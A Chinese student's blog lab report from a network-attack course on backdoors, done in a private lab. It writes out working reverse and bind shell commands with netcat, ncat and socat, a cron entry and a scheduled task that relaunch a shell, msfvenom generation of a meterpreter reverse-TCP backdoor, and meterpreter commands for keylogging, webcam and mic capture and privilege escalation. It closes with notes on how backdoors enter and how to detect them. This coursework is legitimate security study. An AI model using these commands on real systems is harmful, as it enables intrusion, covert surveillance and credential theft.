博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

20155217《网络对抗》Exp02 后门原理与实践

Posted on 2018-03-30 11:36  20155217杨笛  阅读(197)  评论(0编辑  收藏  举报

20155217《网络对抗》Exp02 后门原理与实践

实验要求

  1. 使用netcat获取主机操作Shell,cron启动。

  2. 使用socat获取主机操作Shell,任务计划启动。

  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

常用后门工具实践

Win获得Linux Shell

  • 在Windows下,使用ipconfig指令查看本机IP:

  • windows下用ncat.exe打开监听端口ncat.exe -l -p 5217

  • Linux下用nc指令反弹连接win端口nc 172.20.10.2 5217 -e /bin/sh

  • windows下成功获得一个linux shell,可运行任何指令,运行ls指令如下。

Linux获得Win Shell

  • 在Kali环境下,使用ifconfig查看IP。

  • Linux用nc监听端口nc -l -p 5217

  • Windows用ncat.exe反弹连接Linux端口ncat.exe -e cmd.exe 172.20.10.3 5217

  • Linux下看到Windows的命令提示。

使用nc传输数据

  • Windows下监听5217端口ncat.exe -l 5217

  • Linux下连接到Windows的5217端口nc 172.20.10.2 5217

  • 建立连接之后,就可传输文件。

使用netcat获取主机操作Shell,cron启动

  • 在Windows系统下监听5217端口ncat.exe -l -p 5217

  • 在Linux环境下,使用man crontab指令查看crontab的帮助文档。从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令

  • crontab -e编辑一条定时任务。

  • 在最后一行添加49 * * * * /bin/netcat 172.20.10.2 5217 -e /bin/sh

  • 当时间到了22点49时,此时已经获得了Linux的shell,可以输入指令。

使用socat获取主机操作Shell, 任务计划启动

socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。

socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器。

  • 操作->程序中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5217 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5217,同时把cmd.exe的stderr重定向到stdout。

  • 创建完成之后,点击运行。

  • 在Linux环境下输入指令·socat - tcp:172.20.10.2:5217,此时可以发现已经成功获得了一个cmd shell

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5217 -f exe > 20155217_backdoor.exe生成后门程序。

  • 通过nc指令将生成的后门程序传送到Windows主机上。nc 172.20.10.1 5217 < 20155217_backdoor.exencat.exe -l 5217 > 20155217_backdoor.exe

  • 在Linux上使用msfconsole指令进入msf控制台

  • 在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口5217。

  • Linux使用exploit命令开始监听,此时在Win上执行后门程序。

  • 打开win后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频

  • 使用webcam_snap指令可以使用摄像头进行拍照

  • 使用webcam stream指令可以使用摄像头进行录像(运行失败)

  • 使用screenshot指令可以进行截屏

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
后门程序通过邮件发送,并不小心点开了恶意链接。

U盘里的文件不安全,插入电脑将其文件保存在电脑内

浏览不安全的网站,误点危险信息。

下载软件时,后门可能安装在捆绑软件中。

  • 例举你知道的后门如何启动起来(win及linux)的方式?
自己不小心点击运行了后门程。

自行篡改注册表,将其设为开机自动运行。

被控端被设置了cron启动,定时循环启动。

被控端被设置了任务计划启动socat,在被控端达到某个条件时程序运行,且此时控制端可自由连接控制被控端。

与其他具有正常功能的程序进行了绑定,在运行正常程序时,连带着运行后门。

后门被设置为成服务,且其名字与系统服务名字类似。

  • Meterpreter有哪些给你映像深刻的功能?
获取击键记录能得到很多信息,像什么密码啊、浏览记录啊、聊天记录啊,都非常容易被人窃取到进行分析。

能通过指令获取控制摄像头。

后门程序能迁移到其他正常运行的程序中去,隐藏得很深。

  • 如何发现自己有系统有没有被安装后门?
查看注册表、进程、服务等,是否有未知的程序。

下载专门的监控软件进行监控操作系统。

检查防火墙开启的端口和它对应的进程。

实验总结与体会

在使用MSF的时候,非常轻易的就从Win上获取到了许多信息,这个过程是相当爽的。而且通过实验才了解到平常会“忽略”的防火墙原来这么的重要,如果没有多层拦截与防护,电脑不堪一击。另外,win10虽然有很多无语的地方,但本身的安全性还是值得肯定的= =。